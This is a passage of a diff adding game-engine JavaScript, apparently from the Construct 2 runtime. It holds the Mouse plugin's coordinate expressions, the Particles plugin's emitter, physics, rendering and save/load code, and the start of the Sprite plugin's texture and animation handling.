+ document.body.style.cursor = "";
+ document.body.style.cursor = cursor_style;
+ };
+ pluginProto.acts = new Acts();
+ function Exps() {};
+ Exps.prototype.X = function (ret, layerparam)
+ {
+ var layer, oldScale, oldZoomRate, oldParallaxX, oldAngle;
+ if (cr.is_undefined(layerparam))
+ {
+ layer = this.runtime.getLayerByNumber(0);
+ oldScale = layer.scale;
+ oldZoomRate = layer.zoomRate;
+ oldParallaxX = layer.parallaxX;
+ oldAngle = layer.angle;
+ layer.scale = 1;
+ layer.zoomRate = 1.0;
+ layer.parallaxX = 1.0;
+ layer.angle = 0;
+ ret.set_float(layer.canvasToLayer(this.mouseXcanvas, this.mouseYcanvas, true));
+ layer.scale = oldScale;
+ layer.zoomRate = oldZoomRate;
+ layer.parallaxX = oldParallaxX;
+ layer.angle = oldAngle;
+ }
+ else
+ {
+ if (cr.is_number(layerparam))
+ layer = this.runtime.getLayerByNumber(layerparam);
+ else
+ layer = this.runtime.getLayerByName(layerparam);
+ if (layer)
+ ret.set_float(layer.canvasToLayer(this.mouseXcanvas, this.mouseYcanvas, true));
+ else
+ ret.set_float(0);
+ }
+ };
+ Exps.prototype.Y = function (ret, layerparam)
+ {
+ var layer, oldScale, oldZoomRate, oldParallaxY, oldAngle;
+ if (cr.is_undefined(layerparam))
+ {
+ layer = this.runtime.getLayerByNumber(0);
+ oldScale = layer.scale;
+ oldZoomRate = layer.zoomRate;
+ oldParallaxY = layer.parallaxY;
+ oldAngle = layer.angle;
+ layer.scale = 1;
+ layer.zoomRate = 1.0;
+ layer.parallaxY = 1.0;
+ layer.angle = 0;
+ ret.set_float(layer.canvasToLayer(this.mouseXcanvas, this.mouseYcanvas, false));
+ layer.scale = oldScale;
+ layer.zoomRate = oldZoomRate;
+ layer.parallaxY = oldParallaxY;
+ layer.angle = oldAngle;
+ }
+ else
+ {
+ if (cr.is_number(layerparam))
+ layer = this.runtime.getLayerByNumber(layerparam);
+ else
+ layer = this.runtime.getLayerByName(layerparam);
+ if (layer)
+ ret.set_float(layer.canvasToLayer(this.mouseXcanvas, this.mouseYcanvas, false));
+ else
+ ret.set_float(0);
+ }
+ };
+ Exps.prototype.AbsoluteX = function (ret)
+ {
+ ret.set_float(this.mouseXcanvas);
+ };
+ Exps.prototype.AbsoluteY = function (ret)
+ {
+ ret.set_float(this.mouseYcanvas);
+ };
+ pluginProto.exps = new Exps();
+}());
+;
+;
+cr.plugins_.Particles = function(runtime)
+{
+ this.runtime = runtime;
+};
+(function ()
+{
+ var pluginProto = cr.plugins_.Particles.prototype;
+ pluginProto.Type = function(plugin)
+ {
+ this.plugin = plugin;
+ this.runtime = plugin.runtime;
+ };
+ var typeProto = pluginProto.Type.prototype;
+ typeProto.onCreate = function()
+ {
+ if (this.is_family)
+ return;
+ this.texture_img = new Image();
+ this.texture_img.cr_filesize = this.texture_filesize;
+ this.webGL_texture = null;
+ this.runtime.waitForImageLoad(this.texture_img, this.texture_file);
+ };
+ typeProto.onLostWebGLContext = function ()
+ {
+ if (this.is_family)
+ return;
+ this.webGL_texture = null;
+ };
+ typeProto.onRestoreWebGLContext = function ()
+ {
+ if (this.is_family || !this.instances.length)
+ return;
+ if (!this.webGL_texture)
+ {
+ this.webGL_texture = this.runtime.glwrap.loadTexture(this.texture_img, true, this.runtime.linearSampling, this.texture_pixelformat);
+ }
+ };
+ typeProto.loadTextures = function ()
+ {
+ if (this.is_family || this.webGL_texture || !this.runtime.glwrap)
+ return;
+ this.webGL_texture = this.runtime.glwrap.loadTexture(this.texture_img, true, this.runtime.linearSampling, this.texture_pixelformat);
+ };
+ typeProto.unloadTextures = function ()
+ {
+ if (this.is_family || this.instances.length || !this.webGL_texture)
+ return;
+ this.runtime.glwrap.deleteTexture(this.webGL_texture);
+ this.webGL_texture = null;
+ };
+ typeProto.preloadCanvas2D = function (ctx)
+ {
+ ctx.drawImage(this.texture_img, 0, 0);
+ };
+ function Particle(owner)
+ {
+ this.owner = owner;
+ this.active = false;
+ this.x = 0;
+ this.y = 0;
+ this.speed = 0;
+ this.angle = 0;
+ this.opacity = 1;
+ this.grow = 0;
+ this.size = 0;
+ this.gs = 0; // gravity speed
+ this.age = 0;
+ cr.seal(this);
+ };
+ Particle.prototype.init = function ()
+ {
+ var owner = this.owner;
+ this.x = owner.x - (owner.xrandom / 2) + (Math.random() * owner.xrandom);
+ this.y = owner.y - (owner.yrandom / 2) + (Math.random() * owner.yrandom);
+ this.speed = owner.initspeed - (owner.speedrandom / 2) + (Math.random() * owner.speedrandom);
+ this.angle = owner.angle - (owner.spraycone / 2) + (Math.random() * owner.spraycone);
+ this.opacity = owner.initopacity;
+ this.size = owner.initsize - (owner.sizerandom / 2) + (Math.random() * owner.sizerandom);
+ this.grow = owner.growrate - (owner.growrandom / 2) + (Math.random() * owner.growrandom);
+ this.gs = 0;
+ this.age = 0;
+ };
+ Particle.prototype.tick = function (dt)
+ {
+ var owner = this.owner;
+ this.x += Math.cos(this.angle) * this.speed * dt;
+ this.y += Math.sin(this.angle) * this.speed * dt;
+ this.y += this.gs * dt;
+ this.speed += owner.acc * dt;
+ this.size += this.grow * dt;
+ this.gs += owner.g * dt;
+ this.age += dt;
+ if (this.size < 1)
+ {
+ this.active = false;
+ return;
+ }
+ if (owner.lifeanglerandom !== 0)
+ this.angle += (Math.random() * owner.lifeanglerandom * dt) - (owner.lifeanglerandom * dt / 2);
+ if (owner.lifespeedrandom !== 0)
+ this.speed += (Math.random() * owner.lifespeedrandom * dt) - (owner.lifespeedrandom * dt / 2);
+ if (owner.lifeopacityrandom !== 0)
+ {
+ this.opacity += (Math.random() * owner.lifeopacityrandom * dt) - (owner.lifeopacityrandom * dt / 2);
+ if (this.opacity < 0)
+ this.opacity = 0;
+ else if (this.opacity > 1)
+ this.opacity = 1;
+ }
+ if (owner.destroymode <= 1 && this.age >= owner.timeout)
+ {
+ this.active = false;
+ }
+ if (owner.destroymode === 2 && this.speed <= 0)
+ {
+ this.active = false;
+ }
+ };
+ Particle.prototype.draw = function (ctx)
+ {
+ var curopacity = this.owner.opacity * this.opacity;
+ if (curopacity === 0)
+ return;
+ if (this.owner.destroymode === 0)
+ curopacity *= 1 - (this.age / this.owner.timeout);
+ ctx.globalAlpha = curopacity;
+ var drawx = this.x - this.size / 2;
+ var drawy = this.y - this.size / 2;
+ if (this.owner.runtime.pixel_rounding)
+ {
+ drawx = (drawx + 0.5) | 0;
+ drawy = (drawy + 0.5) | 0;
+ }
+ ctx.drawImage(this.owner.type.texture_img, drawx, drawy, this.size, this.size);
+ };
+ Particle.prototype.drawGL = function (glw)
+ {
+ var curopacity = this.owner.opacity * this.opacity;
+ if (this.owner.destroymode === 0)
+ curopacity *= 1 - (this.age / this.owner.timeout);
+ var drawsize = this.size;
+ var scaleddrawsize = drawsize * this.owner.particlescale;
+ var drawx = this.x - drawsize / 2;
+ var drawy = this.y - drawsize / 2;
+ if (this.owner.runtime.pixel_rounding)
+ {
+ drawx = (drawx + 0.5) | 0;
+ drawy = (drawy + 0.5) | 0;
+ }
+ if (scaleddrawsize < 1 || curopacity === 0)
+ return;
+ if (scaleddrawsize < glw.minPointSize || scaleddrawsize > glw.maxPointSize)
+ {
+ glw.setOpacity(curopacity);
+ glw.quad(drawx, drawy, drawx + drawsize, drawy, drawx + drawsize, drawy + drawsize, drawx, drawy + drawsize);
+ }
+ else
+ glw.point(this.x, this.y, scaleddrawsize, curopacity);
+ };
+ Particle.prototype.left = function ()
+ {
+ return this.x - this.size / 2;
+ };
+ Particle.prototype.right = function ()
+ {
+ return this.x + this.size / 2;
+ };
+ Particle.prototype.top = function ()
+ {
+ return this.y - this.size / 2;
+ };
+ Particle.prototype.bottom = function ()
+ {
+ return this.y + this.size / 2;
+ };
+ pluginProto.Instance = function(type)
+ {
+ this.type = type;
+ this.runtime = type.runtime;
+ };
+ var instanceProto = pluginProto.Instance.prototype;
+ var deadparticles = [];
+ instanceProto.onCreate = function()
+ {
+ var props = this.properties;
+ this.rate = props[0];
+ this.spraycone = cr.to_radians(props[1]);
+ this.spraytype = props[2]; // 0 = continuous, 1 = one-shot
+ this.spraying = true; // for continuous mode only
+ this.initspeed = props[3];
+ this.initsize = props[4];
+ this.initopacity = props[5] / 100.0;
+ this.growrate = props[6];
+ this.xrandom = props[7];
+ this.yrandom = props[8];
+ this.speedrandom = props[9];
+ this.sizerandom = props[10];
+ this.growrandom = props[11];
+ this.acc = props[12];
+ this.g = props[13];
+ this.lifeanglerandom = props[14];
+ this.lifespeedrandom = props[15];
+ this.lifeopacityrandom = props[16];
+ this.destroymode = props[17]; // 0 = fade, 1 = timeout, 2 = stopped
+ this.timeout = props[18];
+ this.particleCreateCounter = 0;
+ this.particlescale = 1;
+ this.particleBoxLeft = this.x;
+ this.particleBoxTop = this.y;
+ this.particleBoxRight = this.x;
+ this.particleBoxBottom = this.y;
+ this.add_bbox_changed_callback(function (self) {
+ self.bbox.set(self.particleBoxLeft, self.particleBoxTop, self.particleBoxRight, self.particleBoxBottom);
+ self.bquad.set_from_rect(self.bbox);
+ self.bbox_changed = false;
+ self.update_collision_cell();
+ self.update_render_cell();
+ });
+ if (!this.recycled)
+ this.particles = [];
+ this.runtime.tickMe(this);
+ this.type.loadTextures();
+ if (this.spraytype === 1)
+ {
+ for (var i = 0; i < this.rate; i++)
+ this.allocateParticle().opacity = 0;
+ }
+ this.first_tick = true; // for re-init'ing one-shot particles on first tick so they assume any new angle/position
+ };
+ instanceProto.saveToJSON = function ()
+ {
+ var o = {
+ "r": this.rate,
+ "sc": this.spraycone,
+ "st": this.spraytype,
+ "s": this.spraying,
+ "isp": this.initspeed,
+ "isz": this.initsize,
+ "io": this.initopacity,
+ "gr": this.growrate,
+ "xr": this.xrandom,
+ "yr": this.yrandom,
+ "spr": this.speedrandom,
+ "szr": this.sizerandom,
+ "grnd": this.growrandom,
+ "acc": this.acc,
+ "g": this.g,
+ "lar": this.lifeanglerandom,
+ "lsr": this.lifespeedrandom,
+ "lor": this.lifeopacityrandom,
+ "dm": this.destroymode,
+ "to": this.timeout,
+ "pcc": this.particleCreateCounter,
+ "ft": this.first_tick,
+ "p": []
+ };
+ var i, len, p;
+ var arr = o["p"];
+ for (i = 0, len = this.particles.length; i < len; i++)
+ {
+ p = this.particles[i];
+ arr.push([p.x, p.y, p.speed, p.angle, p.opacity, p.grow, p.size, p.gs, p.age]);
+ }
+ return o;
+ };
+ instanceProto.loadFromJSON = function (o)
+ {
+ this.rate = o["r"];
+ this.spraycone = o["sc"];
+ this.spraytype = o["st"];
+ this.spraying = o["s"];
+ this.initspeed = o["isp"];
+ this.initsize = o["isz"];
+ this.initopacity = o["io"];
+ this.growrate = o["gr"];
+ this.xrandom = o["xr"];
+ this.yrandom = o["yr"];
+ this.speedrandom = o["spr"];
+ this.sizerandom = o["szr"];
+ this.growrandom = o["grnd"];
+ this.acc = o["acc"];
+ this.g = o["g"];
+ this.lifeanglerandom = o["lar"];
+ this.lifespeedrandom = o["lsr"];
+ this.lifeopacityrandom = o["lor"];
+ this.destroymode = o["dm"];
+ this.timeout = o["to"];
+ this.particleCreateCounter = o["pcc"];
+ this.first_tick = o["ft"];
+ deadparticles.push.apply(deadparticles, this.particles);
+ cr.clearArray(this.particles);
+ var i, len, p, d;
+ var arr = o["p"];
+ for (i = 0, len = arr.length; i < len; i++)
+ {
+ p = this.allocateParticle();
+ d = arr[i];
+ p.x = d[0];
+ p.y = d[1];
+ p.speed = d[2];
+ p.angle = d[3];
+ p.opacity = d[4];
+ p.grow = d[5];
+ p.size = d[6];
+ p.gs = d[7];
+ p.age = d[8];
+ }
+ };
+ instanceProto.onDestroy = function ()
+ {
+ deadparticles.push.apply(deadparticles, this.particles);
+ cr.clearArray(this.particles);
+ };
+ instanceProto.allocateParticle = function ()
+ {
+ var p;
+ if (deadparticles.length)
+ {
+ p = deadparticles.pop();
+ p.owner = this;
+ }
+ else
+ p = new Particle(this);
+ this.particles.push(p);
+ p.active = true;
+ return p;
+ };
+ instanceProto.tick = function()
+ {
+ var dt = this.runtime.getDt(this);
+ var i, len, p, n, j;
+ if (this.spraytype === 0 && this.spraying)
+ {
+ this.particleCreateCounter += dt * this.rate;
+ n = cr.floor(this.particleCreateCounter);
+ this.particleCreateCounter -= n;
+ for (i = 0; i < n; i++)
+ {
+ p = this.allocateParticle();
+ p.init();
+ }
+ }
+ this.particleBoxLeft = this.x;
+ this.particleBoxTop = this.y;
+ this.particleBoxRight = this.x;
+ this.particleBoxBottom = this.y;
+ for (i = 0, j = 0, len = this.particles.length; i < len; i++)
+ {
+ p = this.particles[i];
+ this.particles[j] = p;
+ this.runtime.redraw = true;
+ if (this.spraytype === 1 && this.first_tick)
+ p.init();
+ p.tick(dt);
+ if (!p.active)
+ {
+ deadparticles.push(p);
+ continue;
+ }
+ if (p.left() < this.particleBoxLeft)
+ this.particleBoxLeft = p.left();
+ if (p.right() > this.particleBoxRight)
+ this.particleBoxRight = p.right();
+ if (p.top() < this.particleBoxTop)
+ this.particleBoxTop = p.top();
+ if (p.bottom() > this.particleBoxBottom)
+ this.particleBoxBottom = p.bottom();
+ j++;
+ }
+ cr.truncateArray(this.particles, j);
+ this.set_bbox_changed();
+ this.first_tick = false;
+ if (this.spraytype === 1 && this.particles.length === 0)
+ this.runtime.DestroyInstance(this);
+ };
+ instanceProto.draw = function (ctx)
+ {
+ var i, len, p, layer = this.layer;
+ for (i = 0, len = this.particles.length; i < len; i++)
+ {
+ p = this.particles[i];
+ if (p.right() >= layer.viewLeft && p.bottom() >= layer.viewTop && p.left() <= layer.viewRight && p.top() <= layer.viewBottom)
+ {
+ p.draw(ctx);
+ }
+ }
+ };
+ instanceProto.drawGL = function (glw)
+ {
+ this.particlescale = this.layer.getScale();
+ glw.setTexture(this.type.webGL_texture);
+ var i, len, p, layer = this.layer;
+ for (i = 0, len = this.particles.length; i < len; i++)
+ {
+ p = this.particles[i];
+ if (p.right() >= layer.viewLeft && p.bottom() >= layer.viewTop && p.left() <= layer.viewRight && p.top() <= layer.viewBottom)
+ {
+ p.drawGL(glw);
+ }
+ }
+ };
+ function Cnds() {};
+ Cnds.prototype.IsSpraying = function ()
+ {
+ return this.spraying;
+ };
+ pluginProto.cnds = new Cnds();
+ function Acts() {};
+ Acts.prototype.SetSpraying = function (set_)
+ {
+ this.spraying = (set_ !== 0);
+ };
+ Acts.prototype.SetEffect = function (effect)
+ {
+ this.blend_mode = effect;
+ this.compositeOp = cr.effectToCompositeOp(effect);
+ cr.setGLBlend(this, effect, this.runtime.gl);
+ this.runtime.redraw = true;
+ };
+ Acts.prototype.SetRate = function (x)
+ {
+ this.rate = x;
+ var diff, i;
+ if (this.spraytype === 1 && this.first_tick)
+ {
+ if (x < this.particles.length)
+ {
+ diff = this.particles.length - x;
+ for (i = 0; i < diff; i++)
+ deadparticles.push(this.particles.pop());
+ }
+ else if (x > this.particles.length)
+ {
+ diff = x - this.particles.length;
+ for (i = 0; i < diff; i++)
+ this.allocateParticle().opacity = 0;
+ }
+ }
+ };
+ Acts.prototype.SetSprayCone = function (x)
+ {
+ this.spraycone = cr.to_radians(x);
+ };
+ Acts.prototype.SetInitSpeed = function (x)
+ {
+ this.initspeed = x;
+ };
+ Acts.prototype.SetInitSize = function (x)
+ {
+ this.initsize = x;
+ };
+ Acts.prototype.SetInitOpacity = function (x)
+ {
+ this.initopacity = x / 100;
+ };
+ Acts.prototype.SetGrowRate = function (x)
+ {
+ this.growrate = x;
+ };
+ Acts.prototype.SetXRandomiser = function (x)
+ {
+ this.xrandom = x;
+ };
+ Acts.prototype.SetYRandomiser = function (x)
+ {
+ this.yrandom = x;
+ };
+ Acts.prototype.SetSpeedRandomiser = function (x)
+ {
+ this.speedrandom = x;
+ };
+ Acts.prototype.SetSizeRandomiser = function (x)
+ {
+ this.sizerandom = x;
+ };
+ Acts.prototype.SetGrowRateRandomiser = function (x)
+ {
+ this.growrandom = x;
+ };
+ Acts.prototype.SetParticleAcc = function (x)
+ {
+ this.acc = x;
+ };
+ Acts.prototype.SetGravity = function (x)
+ {
+ this.g = x;
+ };
+ Acts.prototype.SetAngleRandomiser = function (x)
+ {
+ this.lifeanglerandom = x;
+ };
+ Acts.prototype.SetLifeSpeedRandomiser = function (x)
+ {
+ this.lifespeedrandom = x;
+ };
+ Acts.prototype.SetOpacityRandomiser = function (x)
+ {
+ this.lifeopacityrandom = x;
+ };
+ Acts.prototype.SetTimeout = function (x)
+ {
+ this.timeout = x;
+ };
+ pluginProto.acts = new Acts();
+ function Exps() {};
+ Exps.prototype.ParticleCount = function (ret)
+ {
+ ret.set_int(this.particles.length);
+ };
+ Exps.prototype.Rate = function (ret)
+ {
+ ret.set_float(this.rate);
+ };
+ Exps.prototype.SprayCone = function (ret)
+ {
+ ret.set_float(cr.to_degrees(this.spraycone));
+ };
+ Exps.prototype.InitSpeed = function (ret)
+ {
+ ret.set_float(this.initspeed);
+ };
+ Exps.prototype.InitSize = function (ret)
+ {
+ ret.set_float(this.initsize);
+ };
+ Exps.prototype.InitOpacity = function (ret)
+ {
+ ret.set_float(this.initopacity * 100);
+ };
+ Exps.prototype.InitGrowRate = function (ret)
+ {
+ ret.set_float(this.growrate);
+ };
+ Exps.prototype.XRandom = function (ret)
+ {
+ ret.set_float(this.xrandom);
+ };
+ Exps.prototype.YRandom = function (ret)
+ {
+ ret.set_float(this.yrandom);
+ };
+ Exps.prototype.InitSpeedRandom = function (ret)
+ {
+ ret.set_float(this.speedrandom);
+ };
+ Exps.prototype.InitSizeRandom = function (ret)
+ {
+ ret.set_float(this.sizerandom);
+ };
+ Exps.prototype.InitGrowRandom = function (ret)
+ {
+ ret.set_float(this.growrandom);
+ };
+ Exps.prototype.ParticleAcceleration = function (ret)
+ {
+ ret.set_float(this.acc);
+ };
+ Exps.prototype.Gravity = function (ret)
+ {
+ ret.set_float(this.g);
+ };
+ Exps.prototype.ParticleAngleRandom = function (ret)
+ {
+ ret.set_float(this.lifeanglerandom);
+ };
+ Exps.prototype.ParticleSpeedRandom = function (ret)
+ {
+ ret.set_float(this.lifespeedrandom);
+ };
+ Exps.prototype.ParticleOpacityRandom = function (ret)
+ {
+ ret.set_float(this.lifeopacityrandom);
+ };
+ Exps.prototype.Timeout = function (ret)
+ {
+ ret.set_float(this.timeout);
+ };
+ pluginProto.exps = new Exps();
+}());
+;
+;
+cr.plugins_.Sprite = function(runtime)
+{
+ this.runtime = runtime;
+};
+(function ()
+{
+ var pluginProto = cr.plugins_.Sprite.prototype;
+ pluginProto.Type = function(plugin)
+ {
+ this.plugin = plugin;
+ this.runtime = plugin.runtime;
+ };
+ var typeProto = pluginProto.Type.prototype;
+ function frame_getDataUri()
+ {
+ if (this.datauri.length === 0)
+ {
+ var tmpcanvas = document.createElement("canvas");
+ tmpcanvas.width = this.width;
+ tmpcanvas.height = this.height;
+ var tmpctx = tmpcanvas.getContext("2d");
+ if (this.spritesheeted)
+ {
+ tmpctx.drawImage(this.texture_img, this.offx, this.offy, this.width, this.height,
+ 0, 0, this.width, this.height);
+ }
+ else
+ {
+ tmpctx.drawImage(this.texture_img, 0, 0, this.width, this.height);
+ }
+ this.datauri = tmpcanvas.toDataURL("image/png");
+ }
+ return this.datauri;
+ };
+ typeProto.onCreate = function()
+ {
+ if (this.is_family)
+ return;
+ var i, leni, j, lenj;
+ var anim, frame, animobj, frameobj, wt, uv;
+ this.all_frames = [];
+ this.has_loaded_textures = false;
+ for (i = 0, leni = this.animations.length; i < leni; i++)
+ {
+ anim = this.animations[i];
+ animobj = {};
+ animobj.name = anim[0];
+ animobj.speed = anim[1];
+ animobj.loop = anim[2];
+ animobj.repeatcount = anim[3];
+ animobj.repeatto = anim[4];
+ animobj.pingpong = anim[5];
+ animobj.sid = anim[6];
+ animobj.frames = [];
+ for (j = 0, lenj = anim[7].length; j < lenj; j++)
+ {
+ frame = anim[7][j];
+ frameobj = {};
+ frameobj.texture_file = frame[0];
+ frameobj.texture_filesize = frame[1];
+ frameobj.offx = frame[2];
+ frameobj.offy = frame[3];
+ frameobj.width = frame[4];
+ frameobj.height = frame[5];
+ frameobj.duration = frame[6];
+ frameobj.hotspotX = frame[7];
+ frameobj.hotspotY = frame[8];
+ frameobj.image_points = frame[9];
+ frameobj.poly_pts = frame[10];
+ frameobj.pixelformat = frame[11];
+ frameobj.spritesheeted = (frameobj.width !== 0);
+ frameobj.datauri = ""; // generated on demand and cached
+ frameobj.getDataUri = frame_getDataUri;
+ uv = {};
+ uv.left = 0;
+ uv.top = 0;
+ uv.right = 1;
+ uv.bottom = 1;
+ frameobj.sheetTex = uv;
+ frameobj.webGL_texture = null;
+ wt = this.runtime.findWaitingTexture(frame[0]);
+ if (wt)
+ {
+ frameobj.texture_img = wt;
+ }
+ else
+ {
+ frameobj.texture_img = new Image();
+ frameobj.texture_img.cr_src = frame[0];
+ frameobj.texture_img.cr_filesize = frame[1];
+ frameobj.texture_img.c2webGL_texture = null;
+ this.runtime.waitForImageLoad(frameobj.texture_img, frame[0]);
+ }
+ cr.seal(frameobj);
+ animobj.frames.push(frameobj);
+ this.all_frames.push(frameobj);
+ }
+ cr.seal(animobj);
+ this.animations[i] = animobj; // swap array data for object
+ }
+ };
+ typeProto.updateAllCurrentTexture = function ()
+ {
+ var i, len, inst;
+ for (i = 0, len = this.instances.length; i < len; i++)
+ {
+ inst = this.instances[i];
+ inst.curWebGLTexture = inst.curFrame.webGL_texture;
+ }
+ };
+ typeProto.onLostWebGLContext = function ()
+ {
+ if (this.is_family)
+ return;
+ var i, len, frame;
+ for (i = 0, len = this.all_frames.length; i < len; ++i)
+ {
+ frame = this.all_frames[i];
+ frame.texture_img.c2webGL_texture = null;
+ frame.webGL_texture = null;
+ }
+ this.has_loaded_textures = false;
+ this.updateAllCurrentTexture();
+ };
+ typeProto.onRestoreWebGLContext = function ()
+ {
+ if (this.is_family || !this.instances.length)
+ return;
+ var i, len, frame;
+ for (i = 0, len = this.all_frames.length; i < len; ++i)
+ {
+ frame = this.all_frames[i];
+ frame.webGL_texture = this.runtime.glwrap.loadTexture(frame.texture_img, false, this.runtime.linearSampling, frame.pixelformat);
+ }
+ this.updateAllCurrentTexture();
+ };
+ typeProto.loadTextures = function ()
+ {
+ if (this.is_family || this.has_loaded_textures || !this.runtime.glwrap)
+ return;
+ var i, len, frame;
+ for (i = 0, len = this.all_frames.length; i < len; ++i)
+ {
+ frame = this.all_frames[i];
+ frame.webGL_texture = this.runtime.glwrap.loadTexture(frame.texture_img, false, this.runtime.linearSampling, frame.pixelformat);
+ }
+ this.has_loaded_textures = true;
+ };
+ typeProto.unloadTextures = function ()
+ {
+ if (this.is_family || this.instances.length || !this.has_loaded_textures)
+ return;
+ var i, len, frame;
+ for (i = 0, len = this.all_frames.length; i < len; ++i)
+ {
+ frame = this.all_frames[i];
+ this.runtime.glwrap.deleteTexture(frame.webGL_texture);
+ frame.webGL_texture = null;
+ }
+ this.has_loaded_textures = false;
+ };
+ var already_drawn_images = [];
+ typeProto.preloadCanvas2D = function (ctx)
+ {
+ var i, len, frameimg;
+ cr.clearArray(already_drawn_images);
+ for (i = 0, len = this.all_frames.length; i < len; ++i)
+ {
+ frameimg = this.all_frames[i].texture_img;
+ if (already_drawn_images.indexOf(frameimg) !== -1)
+ continue;
+ ctx.drawImage(frameimg, 0, 0);
+ already_drawn_images.push(frameimg);
+ }
+ };
+ pluginProto.Instance = function(type)
+ {
+ this.type = type;
+ this.runtime = type.runtime;
+ var poly_pts = this.type.animations[0].frames[0].poly_pts;
+ if (this.recycled)
+ this.collision_poly.set_pts(poly_pts);
+ else
+ this.collision_poly = new cr.CollisionPoly(poly_pts);
+ };
+ var instanceProto = pluginProto.Instance.prototype;
+ instanceProto.onCreate = function()
+ {
+ this.visible = (this.properties[0] === 0); // 0=visible, 1=invisible
+ this.isTicking = false;
+ this.inAnimTrigger = false;
+ this.collisionsEnabled = (this.properties[3] !== 0);
+ this.cur_animation = this.getAnimationByName(this.properties[1]) || this.type.animations[0];
+ this.cur_frame = this.properties[2];
+ if (this.cur_frame < 0)
+ this.cur_frame = 0;
+ if (this.cur_frame >= this.cur_animation.frames.length)
+ this.cur_frame = this.cur_animation.frames.length - 1;
+ var curanimframe = this.cur_animation.frames[this.cur_frame];
+ this.collision_poly.set_pts(curanimframe.poly_pts);
+ this.hotspotX = curanimframe.hotspotX;
+ this.hotspotY = curanimframe.hotspotY;
+ this.cur_anim_speed = this.cur_animation.speed;
+ this.cur_anim_repeatto = this.cur_animation.repeatto;
+ if (!(this.type.animations.length === 1 && this.type.animations[0].frames.length === 1) && this.cur_anim_speed !== 0)
+ {
+ this.runtime.tickMe(this);
+ this.isTicking = true;
+ }
+ if (this.recycled)
+ this.animTimer.reset();
+ else
+ this.animTimer = new cr.KahanAdder();
+ this.frameStart = this.getNowTime();
+ this.animPlaying = true;
+ this.animRepeats = 0;
+ this.animForwards = true;
+ this.animTriggerName = "";
+ this.changeAnimName = "";
+ this.changeAnimFrom = 0;
+ this.changeAnimFrame = -1;
+ this.type.loadTextures();
+ var i, leni, j, lenj;
+ var anim, frame, uv, maintex;
+ for (i = 0, leni = this.type.animations.length; i < leni; i++)
+ {
+ anim = this.type.animations[i];
+ for (j = 0, lenj = anim.frames.length; j < lenj; j++)
+ {
+ frame = anim.frames[j];
+ if (frame.width === 0)
+ {
+ frame.width = frame.texture_img.width;
+ frame.height = frame.texture_img.height;
+ }
+ if (frame.spritesheeted)
+ {
+ maintex = frame.texture_img;
+ uv = frame.sheetTex;
+ uv.left = frame.offx / maintex.width;
+ uv.top = frame.offy / maintex.height;
+ uv.right = (frame.offx + frame.width) / maintex.width;
+ uv.bottom = (frame.offy + frame.height) / maintex.height;
+ if (frame.offx === 0 && frame.offy === 0 && frame.width === maintex.width && frame.height === maintex.height)
+ {
+ frame.spritesheeted = false;
+ }
+ }
+ }
+ }
+ this.curFrame = this.cur_animation.frames[this.cur_frame];
+ this.curWebGLTexture = this.curFrame.webGL_texture;
+ };
+ instanceProto.saveToJSON = function ()
+ {
+ var o = {
+ "a": this.cur_animation.sid,
+ "f": this.cur_frame,
+ "cas": this.cur_anim_speed,
+ "fs": this.frameStart,
+ "ar": this.animRepeats,
+ "at": this.animTimer.sum,
+ "rt": this.cur_anim_repeatto
+ };
+ if (!this.animPlaying)
+ o["ap"] = this.animPlaying;
+ if (!this.animForwards)
+ o["af"] = this.animForwards;
+ return o;
+ };
+ instanceProto.loadFromJSON = function (o)
+ {
+ var anim = this.getAnimationBySid(o["a"]);
+ if (anim)
+ this.cur_animation = anim;
+ this.cur_frame = o["f"];
+ if (this.cur_frame < 0)
+ this.cur_frame = 0;
+ if (this.cur_frame >= this.cur_animation.frames.length)
+ this.cur_frame = this.cur_animation.frames.length - 1;
+ this.cur_anim_speed = o["cas"];
+ this.frameStart = o["fs"];
+ this.animRepeats = o["ar"];
+ this.animTimer.reset();
+ this.animTimer.sum = o["at"];
+ this.animPlaying = o.hasOwnProperty("ap") ? o["ap"] : true;
+ this.animForwards = o.hasOwnProperty("af") ? o["af"] : true;
+ if (o.hasOwnProperty("rt"))
+ this.cur_anim_repeatto = o["rt"];
+ else
+ this.cur_anim_repeatto = this.cur_animation.repeatto;
+ this.curFrame = this.cur_animation.frames[this.cur_frame];
+ this.curWebGLTexture = this.curFrame.webGL_texture;
+ this.collision_poly.set_pts(this.curFrame.poly_pts);
+ this.hotspotX = this.curFrame.hotspotX;
+ this.hotspotY = this.curFrame.hotspotY;
+ };
+ instanceProto.animationFinish = function (reverse)
+ {
+ this.cur_frame = reverse ? 0 : this.cur_animation.frames.length - 1;
+ this.animPlaying = false;
+ this.animTriggerName = this.cur_animation.name;
+ this.inAnimTrigger = true;
+ this.runtime.trigger(cr.plugins_.Sprite.prototype.cnds.OnAnyAnimFinished, this);
+ this.runtime.trigger(cr.plugins_.Sprite.prototype.cnds.OnAnimFinished, this);
+ this.inAnimTrigger = false;
+ this.animRepeats = 0;
+ };
+ instanceProto.getNowTime = function()
+ {
+ return this.animTimer.sum;
+ };
+ instanceProto.tick = function()
+ {
+ this.animTimer.add(this.runtime.getDt(this));
+ if (this.changeAnimName.length)
+ this.doChangeAnim();
+ if (this.changeAnimFrame >= 0)
+ this.doChangeAnimFrame();
+ var now = this.getNowTime();
+ var cur_animation = this.cur_animation;
+ var prev_frame = cur_animation.frames[this.cur_frame];
+ var next_frame;
+ var cur_frame_time = prev_frame.duration / this.cur_anim_speed;
+ if (this.animPlaying && now >= this.frameStart + cur_frame_time)
+ {
+ if (this.animForwards)
+ {
+ this.cur_frame++;
+ }
+ else
+ {
+ this.cur_frame--;
+ }
+ this.frameStart += cur_frame_time;
+ if (this.cur_frame >= cur_animation.frames.length)
+ {
+ if (cur_animation.pingpong)
+ {
+ this.animForwards = false;
+ this.cur_frame = cur_animation.frames.length - 2;
+ }
+ else if (cur_animation.loop)
+ {
+ this.cur_frame = this.cur_anim_repeatto;
+ }
+ else
+ {
+ this.animRepeats++;
+ if (this.animRepeats >= cur_animation.repeatcount)
+ {
+ this.animationFinish(false);
+ }
+ else
+ {
+ this.cur_frame = this.cur_anim_repeatto;
+ }
+ }
+ }
+ if (this.cur_frame < 0)
+ {
+ if (cur_animation.pingpong)
+ {
+ this.cur_frame = 1;
+ this.animForwards = true;
+ if (!cur_animation.loop)
+ {
+ this.animRepeats++;
+ if (this.animRepeats >= cur_animation.repeatcount)
+ {
+ this.animationFinish(true);
+ }
+ }
+ }
+ else
+ {
+ if (cur_animation.loop)
+ {
+ this.cur_frame = this.cur_anim_repeatto;
+ }
+ else
+ {
+ this.animRepeats++;
+ if (this.animRepeats >= cur_animation.repeatcount)
+ {
+ this.animationFinish(true);
+ }
+ else
+ {
